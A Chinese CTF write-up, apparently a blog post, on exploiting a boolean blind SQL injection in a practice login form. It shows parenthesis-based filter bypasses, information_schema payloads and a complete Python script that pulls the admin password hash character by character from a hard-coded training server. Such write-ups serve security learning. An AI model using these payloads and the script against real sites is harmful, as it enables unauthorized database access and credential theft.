一些师兄给了个平台,最近学了很多SQL注入和编写脚本的知识,跃跃欲试,结果这一做就是漫漫长路,还是很多东西不熟悉啊。

首先找注入点:

发现用户名错误和密码错误会分开提示,可以用布尔盲注,(*^▽^*)好高兴。

但是发现,过滤了 空格和 *号,没关系,用括号绕过(这一下搞死我了)

开始尝试编写脚本,结果发现简单的reuqests解析不了

标签下的内容

没办法   又去学习一下“美丽的汤” Beautifulsoup 解析网页

首先放上一段测试代码:

# -*- coding:utf-8 -*-

from bs4 import BeautifulSoup

import requests

session = requests.Session()

paramsPost = {"password":"1","username":"admin"}

headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0","Referer":"http://152.136.63.75:8002/","Connection":"close","Accept-Language":"zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3","DNT":"1","Content-Type":"application/x-www-form-urlencoded"}

cookies = {"PHPSESSID":"f1jb3rhc5ebhv1gf7q943bb413"}

res = session.post("http://152.136.63.75:8002/", data=paramsPost, headers=headers, cookies=cookies)

res.encoding = 'utf-8'

print("Status code: %i" % res.status_code)

#print("Response body: %s" % response.content)

soup = BeautifulSoup(res.text,'html.parser')

result = soup.find_all(text = '密码错误')

print(result)

print(type(result))

Output:

这里可以使用Burp suite 一个插件  Reissue Request Scripter   快速生成reuqests头部 加快写脚本时间

之后就是构造语句的环节了,可以在本地上用SQL查看器中去检查自己的命令是否正确,因为括号真的很多,需要不断去尝试

这里也总结了一些教训,可以先用一个记事本,把payload一个一个记下来,把查询的语句和判断语句分开:

#最后拼接的主体部分

admin'^1^(ascii()={})

#substr来确认数据

substr(( ),{},1)

#查询语句

select(group_concat(table_name))from(information_schema.tables)where(table_schema)=(database())

#最后每更换一次查询语句再将全部组合起来(这个查列名的语句错到我怀疑人生)

admin'^1^if((select(length(group_concat(column_name))=%d)from(information_schema.columns)where(table_schema)=(database())and(table_name)='admin'),1,0)#

在这里要主要爆长度的判断:(这里也是一个易错点)

#一定要将select (length() = '')

select * from users where id =1^if((select(length(group_concat(table_name))

= ' ')from(information_schema.tables)where(table_schema)=(database())),1,0);

#错误语句

select * from users where id =1^if((select(length(group_concat(table_name)))from(information_schema.tables)where(table_schema)=(database()) = ' '),1,0);

#无论数字如何最后查出来一定是NULL

判断的位置不一样,结果也不一样,会影响最后结果

贴出脚本:

import requests

import string

str = string.ascii_lowercase+string.ascii_uppercase+string.digits+'-{}+='

from bs4 import BeautifulSoup

session = requests.Session()

paramsPost = {"password":1,"username":" "}

headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0","Referer":"http://152.136.63.75:8002/","Connection":"close","Accept-Language":"zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3","DNT":"1","Content-Type":"application/x-www-form-urlencoded"}

cookies = {"PHPSESSID":"f1jb3rhc5ebhv1gf7q943bb413"}

def name():

flag = " "

for i in range(length()):

for str1 in str:

#paramsPost["username"] = "admin'^1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_schema)=(database())and(table_name)='admin'),{},1))={})#".format (i+1, ord(str1))

paramsPost["username"] = "admin'^1^(ascii(substr((select(password)from(admin)where(username)='admin'),{},1))={})#".format(i+1, ord(str1))

print(str1)

res = session.post ("http://152.136.63.75:8002/", data=paramsPost, headers=headers, cookies=cookies)

res.encoding = 'utf-8'

soup = BeautifulSoup (res.text, 'html.parser')

result = soup.find_all(text='密码错误')

#print(result)

if len(result) != 0:

flag +=str1

break

print(flag)

if(flag[-1] == '}'):

break

print(flag)

def length():

len1 = 0

for i in range(50):

#paramsPost['username'] = "admin'^1^if((select(length(group_concat(column_name))=%d)from(information_schema.columns)where(table_schema)=(database())and(table_name)='admin'),1,0)#" % i

paramsPost['username']="admin'^1^(select(length(password)=%d)from(admin)where(username)='admin')#" % i

res = session.post ("http://152.136.63.75:8002/", data=paramsPost, headers=headers, cookies=cookies)

res.encoding = 'utf-8'

soup = BeautifulSoup (res.text, 'html.parser')

result = soup.find_all(text='密码错误')

print(result)

if len(result) != 0:

len1 = i

break

print(len1)

return len1

name()

一步步报数据,爆出admin的密码是一个MD5值,

最后发现这道题和Bugku的login3有基本一样,但是从头到尾自己做一遍,发现构造语句还是有很多地方不足,SQL盲注这里还有很多练习的。

原文链接:https://blog.csdn.net/weixin_45887311/article/details/105739091

python sql注入漏洞 ctf_CTF-WEB 一个登录框SQL盲注相关推荐

  1. /plus/recommend.php sql注入漏洞,DedeCMS 全版本通杀SQL注入漏洞利用代码及工具 -

    DedeCMS 全版本通杀SQL注入漏洞利用代码及工具 目前官方最新版已修复该漏洞 V5.7.37 GBK正式版20140228常规更新补丁 http://www.dedecms.com/pl/ ht ...

  2. mysql登录框万能密码_Sqli-LABS通关笔录-11[sql注入之万能密码以及登录框报错注入]...

    在这一关卡我学到了 1.万能密码的构造,大概的去揣测正常的SQL语句是如何的. 2. 3. 00x1SQL万能密码的构造 在登录框当中可以添加了一个单引号.报错信息如下所示: 据此报错,我们大概的可以 ...

  3. python sql注入脚本_python打造一个分析网站SQL注入的脚本

    1 importrequests,re,time,os2 from tqdm importtqdm3 from bs4 importBeautifulSoup4 defzhuru():5 global ...

  4. web漏洞-SQL注入漏洞、目录遍历漏洞、文件下载漏洞

    这里用到的是Pikachu漏洞练习平台 一.SQL注入漏洞-数字型注入 SQL注入漏洞简介 在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库 ...

  5. Zabbix SQL注入漏洞威胁预警通告

    Zabbix软件被爆存在SQL注入漏洞,攻击者无需登录即可通过script等功能直接获取服务器的操作系统权限,经过分析发现Zabbix默认开启了guest权限,且默认密码为空.为了帮助广大用户尽快关注 ...

  6. 白帽子发现美军网站SQL注入漏洞,可获取敏感数据

    去年有报道称,美军收购软件漏洞为网战准备.而美军自己的网站和服务器究竟又有多安全?一名独立安全研究者已经发现了美军网站的几个较为严重的安全漏洞. 安全专家称,这些漏洞说明了美国防部网络安全基础的脆弱性 ...

  7. SQL注入漏洞[OWASP TOP 1]

    文章目录 一.SQL注入漏洞[OWASP TOP 1] 二.SQL注入的位置 三.常见的防范方法 四.sql注入的危害 一.SQL注入漏洞[OWASP TOP 1] 所谓SQL注入,就是通过把SQL命 ...

  8. 手工检测SQL注入漏洞

    SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,具体来说,它是利用现有应用程序将(恶意的)SQL命令注入到后台数据库引擎执 ...

  9. SQL 注入漏洞检测与利用

    SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,它是利用现有应用程序将(恶意的)SQL命令注入到后台数据库引擎执行的能力, ...

最新文章

  1. crt 运行时库dll跨模块传递crt对象,出现的崩溃问题
  2. rehl7.3部署K8s集群
  3. 使用ASP.NET2.0显示照片
  4. Scrum立会报告+燃尽图(十月二十一日总第十二次)
  5. 自学python要看哪些书籍-学习机器学习应该看哪些书籍?
  6. Python连接Oracle数据库,以字典形式返回结果
  7. ABAP OO小例子
  8. Boost:顺序一致性的测试程序
  9. vb Select Case的使用 字符串整形的转换 输入错误str的直接输出
  10. Swift傻傻分不清楚系列(十)枚举
  11. 进厂打工的大学生:每天站12个小时,4年存50万
  12. 支持向量回归预测怎么做_机器学习如何在油气开发预测中发挥作用?
  13. lvds传输距离标准_如何正确看待POE交换机150米、长距离250米传输
  14. java json 嵌套解析_我们如何解析Java中的嵌套JSON对象?
  15. Struts2与Ajax数据交互
  16. 阶段3 1.Mybatis_06.使用Mybatis完成DAO层的开发_7 Mybatis中使用代理Dao的执行过程分析...
  17. Bfs 逃脱(牛客网)
  18. paypal java_PaypalUtil PayPal付款JAVA工具类
  19. 你知道3D打印SLA的优缺点吗?
  20. html中橘色代码,javascript HTML+CSS实现经典橙色导航菜单

热门文章

  1. 【暑假训练 7.10】 codevs 2492 上帝造题的七分钟2
  2. 多线程中堆和栈区别的深入解析
  3. C++中消息机制阻塞实验
  4. C#中Invoke的用法(转)
  5. php 商品价格区间算法,ecshop商品价格添加区间
  6. c++ socket线程池原理_ThreadPoolExecutor线程池实现原理+源码解析
  7. Android studio删除sdk的方法(图文教程)
  8. 我的世界java版记分板_我的世界计分板指令 如何使用计分板教程
  9. Xcode6中如何对scrollview进行自动布局(autolayout)
  10. iOS键盘弹出通知后加入动画